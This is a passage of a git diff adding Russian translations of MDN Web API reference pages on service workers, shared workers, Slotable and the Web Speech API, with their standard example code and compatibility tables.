+<p>В следующем простом примере регистрируется service worker, а затем добавляется обработчик события клика по кнопке, так что вы можете явно обновить service worker по необходимости:</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) {
+    // Регистрация произошла
+    console.log('Registration succeeded.');
+    button.onclick = function() {
+      registration.update();
+    }
+  }).catch(function(error) {
+    // Ошибка при регистрации
+    console.log('Registration failed with ' + error);
+  });
+};</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-update-method', 'ServiceWorkerRegistration.update()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована автоматически. Если вы хотите внести свой вклад в таблицу данных совместимости, пожалуйста обратитесь по адресу <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и сделайте pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.update")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers базовый пример кода</a> </li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker?</a></li>
+ <li>{{jsxref("Промисы")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html
new file mode 100644
index 0000000000..a1702d28b1
--- /dev/null
+++ b/files/ru/web/api/serviceworkerstate/index.html
@@ -0,0 +1,46 @@
+---
+title: ServiceWorkerState
+slug: Web/API/ServiceWorkerState
+translation_of: Web/API/ServiceWorkerState
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><code><strong>ServiceWorkerState</strong></code> показывает состояние {{DOMxRef("ServiceWorker")}}'а.</p>
+
+<h2 id="Значения">Значения</h2>
+
+<dl>
+ <dt><code>installing</code></dt>
+ <dd>Service worker устанавливается. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>install</code> для продления установки до успешного завершения переданного промиса. Как правило, данный метод используется для того, чтобы избежать активации service worker'а до завершения настройки его кеша.</dd>
+ <dt><code>installed</code></dt>
+ <dd>Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.</dd>
+ <dt><code>activating</code></dt>
+ <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd>
+ <dt><code>activated</code></dt>
+ <dd>Service worker в данном состоянии активен и готов обрабатывать события.</dd>
+ <dt><code>redundant</code></dt>
+ <dd>Новый service worker заменяет данный либо service worker удаляется из-за ошибки при его установке.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Service Workers", "#service-worker-state-enum", "ServiceWorkerState")}}</td>
+   <td>{{Spec2("Service Workers")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{DOMxRef("ServiceWorker.state")}}</li>
+</ul>
diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html
new file mode 100644
index 0000000000..e19a8c7181
--- /dev/null
+++ b/files/ru/web/api/sharedworker/index.html
@@ -0,0 +1,220 @@
+---
+title: SharedWorker
+slug: Web/API/SharedWorker
+translation_of: Web/API/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><strong>SharedWorker </strong>(разделяемый воркер)</code> является особым видом воркеров к которому можно получить доступ из нескольких контекстов браузера, например, из нескольких окон, iframe, или других воркеров. Этот интерфейс реализован иначе, чем dedicated воркеры и имеют иной глобальный контекст, {{domxref("SharedWorkerGlobalScope")}}.</p>
+
+<div class="note">
+<p><strong>Замечание:</strong> Если SharedWorker может быть доступен из нескольких контекстов браузера, все они должны разделять одинаковое расположение (идентичные протокол, хост и порт).</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: В Firefox, разделяемые воркеры не могут взаимодействовать между private (например, просматриваемыми в приватном режиме) и non-private документами (см. {{bug(1177621)}}.)</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{domxref("EventListener")}} который вызывается всегда, когда {{domxref("ErrorEvent")}} типа <code>error</code> всплывает через воркер.</dd>
+ <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("MessagePort")}}, используемый для коммуникации и контроля разделяемого воркера.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
+ <dd>Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родительского класса, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Базовом примере разделяемого воркера</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить</a>), имеются две HTML страницы, каждая из которых использует JavaScript для простых вычислений. Разные скрипты используют один и тот же воркер, чтобы выполнить умножение двух чисел - они оба имеют доступ к нему, даже если их страницы запущены в разных окнах.</p>
+
+<p>Следующий пример кода демонстрирует создание объекта <code>SharedWorker</code> с использованием конструктора {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Оба скрипта содержат:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");
+</pre>
+
+<p>далее скрипты получают доступ к воркеру через объект {{domxref("MessagePort")}}, находящийся в свойстве {{domxref("SharedWorker.port")}}. Если устанавливается хэндлер события onmessage, port самостоятельно начинает работу, вызывая собственный метод <code>start(), </code>если же принимать события с помощью слушателя события  "message" через addEventListener, необходимо вызвать метод <code>start()</code> самостоятельно:</p>
+
+<pre class="brush: js">myWorker.port.start();</pre>
+
+<p>После того, как порт запущен, оба скрипта отправляют сообщения воркеру и принимают их от него, используя <code>port.postMessage()</code> и <code>port.onmessage</code>, соответственно:</p>
+
+<pre class="brush: js">first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }</pre>
+
+<p>Внутри воркера используется хэндлер {{domxref("SharedWorkerGlobalScope.onconnect")}} для соединения к тому же порту, как обсуждалось ранее. Порты, связанные с данным воркером доступны в свойстве ports события {{event("connect")}}. Далее вызывается метод {{domxref("MessagePort")}} <code>start()</code> для запуска порта, и устанавливается хэндлер <code>onmessage</code> для обработки сообщений, присылаемых от обоих потоков.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+    var port = e.ports[0];
+    // or port = e.source
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // обязательно при использовании addEventListener. Иначе вызывается неявно после установки хэндлера onmessage.
+}</pre>
+
+<h3 id="Пример_с_несколькими_страницами">Пример с несколькими страницами</h3>
+
+<h4 id="sect1"> </h4>
+
+<pre><strong>test.js
+</strong>
+let connected = false;
+self.addEventListener("connect", e =&gt; {
+  e.source.addEventListener("message", ev =&gt; {
+    if (ev.data === "start") {
+      if (connected === false) {
+        e.source.postMessage('worker init');
+        connected = true;
+      } else {
+        e.source.postMessage('worker already inited');
+      }
+    }
+  }, false);
+  e.source.start();
+}, false);
+
+
+<strong>На странице 1 получаем сообщение '</strong>worker init<strong>' в консоли.
+
+index1.html
+...</strong>
+&lt;script&gt;
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e =&gt; {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+&lt;/script&gt;
+<strong>...
+
+На странице 2 в консоль выводится 'worker already inited', так как страница 1 уже запустила наш воркер;
+
+</strong>index2.html
+...
+&lt;script&gt;
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e =&gt; {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+&lt;/script&gt;
+...</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop(29.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(10.60)}}</td>
+   <td>5<br>
+    {{CompatNo}} 6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("33.0")}}</td>
+   <td>2.1</td>
+   <td>{{CompatNo}}</td>
+   <td>11.5</td>
+   <td>5.1<br>
+    {{CompatNo}} 7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}</li>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование веб воркеров</a></li>
+</ul>
diff --git a/files/ru/web/api/slotable/index.html b/files/ru/web/api/slotable/index.html
new file mode 100644
index 0000000000..b9c4436097
--- /dev/null
+++ b/files/ru/web/api/slotable/index.html
@@ -0,0 +1,44 @@
+---
+title: Slotable
+slug: Web/API/Slotable
+tags:
+  - миксины
+translation_of: Web/API/Slottable
+---
+<p>{{APIRef("Shadow DOM")}}</p>
+
+<p>Миксин <code>Slotable</code> определяет возможности, которые позволяют нодам становиться контентом элемента {{htmlelement("slot")}} — следующие возможности включены в  {{domxref("Element")}} и {{domxref("Text")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{htmlelement("slot")}}, в который вставлена нода.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Нет.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#slotable','Slotable')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Slotable")}}</p>
diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html
new file mode 100644
index 0000000000..d4f5246027
--- /dev/null
+++ b/files/ru/web/api/speechgrammar/index.html
@@ -0,0 +1,74 @@
+---
+title: SpeechGrammar
+slug: Web/API/SpeechGrammar
+tags:
+  - API
+  - Интерфейс
+  - Справка
+  - Экспериментальный
+  - грамматика речи
+  - распознавание
+  - речь
+translation_of: Web/API/SpeechGrammar
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>SpeechGrammar</code></strong> <a href="/ru/docs/Web/API/Web_Speech_API">Web Speech API</a> представляет собой набор слов или шаблонов слов, которые мы хотим, чтобы служба распознавания распознавала.</p>
+
+<p>Грамматика определяется с использованием <a class="external external-icon" href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.) Другие форматы также могут поддерживаться в будущем.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechGrammar.SpeechGrammar()")}}</dt>
+ <dd>Создает новый объект <code>SpeechGrammar</code> .</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("SpeechGrammar.src")}}</dt>
+ <dd>Устанавливает и возвращает строку, содержащую грамматику, внутри экземпляра объекта <code>SpeechGrammar</code> .</dd>
+ <dt>{{domxref("SpeechGrammar.weight")}} {{optional_inline}}</dt>
+ <dd>Устанавливает и возвращает вес объекта <code>SpeechGrammar</code> .</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // должно вернуть то же, что и содержимое переменной gramar
+console.log(speechRecognitionList[0].weight); // должно вернуть 1 - столько же, сколько указано в 4-й строчке.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#speechreco-speechgrammar', 'SpeechGrammar')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.SpeechGrammar")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html
new file mode 100644
index 0000000000..011774ea9a
--- /dev/null
+++ b/files/ru/web/api/speechrecognition/index.html
@@ -0,0 +1,221 @@
+---
+title: SpeechRecognition
+slug: Web/API/SpeechRecognition
+translation_of: Web/API/SpeechRecognition
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p><font face="consolas, Liberation Mono, courier, monospace">Интерфейс<strong> Распознавание голоса</strong></font> <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> является интерфейсом контроллера для сервиса распознавания; который так же перехватывает событие {{domxref("SpeechRecognitionEvent")}}, отправленное сервисом распознавания.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt>
+ <dd>Создает новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>SpeechRecognition</code> наследует свойства от своего родителського интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.grammars")}}</dt>
+ <dd>Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}}  грамматики которые будут понятны текущему <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.lang")}}</dt>
+ <dd>Задает и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd>
+ <dt>{{domxref("SpeechRecognition.continuous")}}</dt>
+ <dd>Проверяет возвращается ли непрерывные результаты или вернулся только один. По-умолчанию для одиночного значение (<code>false</code>.)</dd>
+ <dt>{{domxref("SpeechRecognition.interimResults")}}</dt>
+ <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd>
+ <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt>
+ <dd>Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По-умолчанию значение 1.</dd>
+ <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt>
+ <dd>Определяет местоположение службы распознавания речи, используемой текущим SpeechRecognition, для обработки фактического распознавания. По умолчанию используется речевая служба агента пользователя.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.onaudiostart")}}</dt>
+ <dd>Вызывается когда пользовательский агент начал захват аудио.</dd>
+ <dt>{{domxref("SpeechRecognition.onaudioend")}}</dt>
+ <dd>Вызывается когда пользовательский агент закончил захват аудио.</dd>
+ <dt>{{domxref("SpeechRecognition.onend")}}</dt>
+ <dd>Вызывается когда служба распознавания речи отключилилась.</dd>
+ <dt>{{domxref("SpeechRecognition.onerror")}}</dt>
+ <dd>Вызывается когда произошла ошибка распознавания речи.</dd>
+ <dt>{{domxref("SpeechRecognition.onnomatch")}}</dt>
+ <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd>
+ <dt>{{domxref("SpeechRecognition.onresult")}}</dt>
+ <dd>Вызывается когдавозвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt>
+ <dd>Вызывается при любом звуке — рапозназнаваемая речь или нет — будеь обнаружено.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundend")}}</dt>
+ <dd>Вызывается когда  любой звук — распознаваемая речь или нет — перестала распознаваться.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechstart")}}</dt>
+ <dd>Вызывается, когда обнаружен звук, распознаваемый службой распознавания речи как речевой сигнал.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechend")}}</dt>
+ <dd>Вызывается, когда прекращается обнаружение речи, распознанной службой распознавания речи.</dd>
+ <dt>{{domxref("SpeechRecognition.onstart")}}</dt>
+ <dd>Вызывается, когда служба распознавания речи начинает прослушивать входящий звук с намерением распознать грамматики, связанные с текущим распознаванием речи.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><font face="consolas, Liberation Mono, courier, monospace">Распознавание речи также наследует методы от своего родительского интерфейса</font>, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.abort()")}}</dt>
+ <dd>Прекращает службу распознавания речи от прослушивания входящего аудио и не пытается вернуть {{domxref("SpeechRecognitionResult")}}.</dd>
+ <dt>{{domxref("SpeechRecognition.start()")}}</dt>
+ <dd>Запускает службу распознавания речи, прослушивая входящее аудио с целью распознавания грамматик, связанных с текущим распознаванием речи.</dd>
+ <dt>{{domxref("SpeechRecognition.stop()")}}</dt>
+ <dd>Прекращает службу распознавания речи от прослушивания входящего аудио и пытается вернуть{{domxref("SpeechRecognitionResult")}} Используя уже записанный звук.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаем новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p>
+
+<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло собыстие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>Таблица совместимостей</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>CompatChrome(33)}}property_prefix("webkit")<sup>[1]</sup></td>
+   <td>Не совместима<sup>[2]</sup></td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+  <tr>
+   <td><code>постоянная</code></td>
+   <td>CompatChrome(33) <sup>[1]</sup></td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>Неизвестно</td>
+   <td>Неизвестная совместимая версия [1]</td>
+   <td>Совместим с GeckoMobile(44)</td>
+   <td>2.5</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+  <tr>
+   <td><code>continuous</code></td>
+   <td>Неизвестно</td>
+   <td>Неизвестная совместимая версия[1]</td>
+   <td>Совместимость неизвестна</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+   <td>Не совместима</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Интерфейсы распознавания речи в настоящее время префиксные в Chrome, поэтому вам нужно указать имена интерфейсов, например, префикс. WebkitSpeechRecognition; Вы также должны будете обслуживать свой код через веб-сервер для распознавания работы</li>
+ <li>[2] Может быть активированна через <code>media.webspeech.recognition.enable</code> флаг в <a>about:config</a> на телефоне. Не реализовано вообще на рабочем столе Firefox - см.{{bug(1248897)}}.</li>
+</ul>
+
+<h3 id="Firefox_OS_разрешения">Firefox OS разрешения</h3>
+
+<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+
+<pre class="brush: json">"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}</pre>
+
+<p>Вам также нужно привилегированное приложение, поэтому вам необходимо также включить его:</p>
+
+<pre class="brush: json">  "type": "privileged"</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html
new file mode 100644
index 0000000000..94c0d175d6
--- /dev/null
+++ b/files/ru/web/api/speechsynthesisutterance/index.html
@@ -0,0 +1,120 @@
+---
+title: SpeechSynthesisUtterance
+slug: Web/API/SpeechSynthesisUtterance
+translation_of: Web/API/SpeechSynthesisUtterance
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>SpeechSynthesisUtterance</code></strong> interface of the <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}}</dt>
+ <dd>Возвращает новый экземпляр объекта <code>SpeechSynthesisUtterance</code></dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>SpeechSynthesisUtterance</code> еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt>
+ <dd>Получает и устанавливает язык высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.pitch")}}</dt>
+ <dd>Получает и устанавливает высоту, на которой произносится высказывание</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.rate")}}</dt>
+ <dd>Получает и устанавливает скорость, с которой будет произноситься высказывание.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.text")}}</dt>
+ <dd>Получает и устанавливает текст, который будет синтезироваться при произнесении высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.voice")}}</dt>
+ <dd>Получает и устанавливает голос, который будет использоваться для произнесения речи.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.volume")}}</dt>
+ <dd>Получает и устанавливает громкость, на котором будет произноситься высказывание.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt>
+ <dd>Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt>
+ <dd>Срабатывает, когда произнесение произнесено.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt>
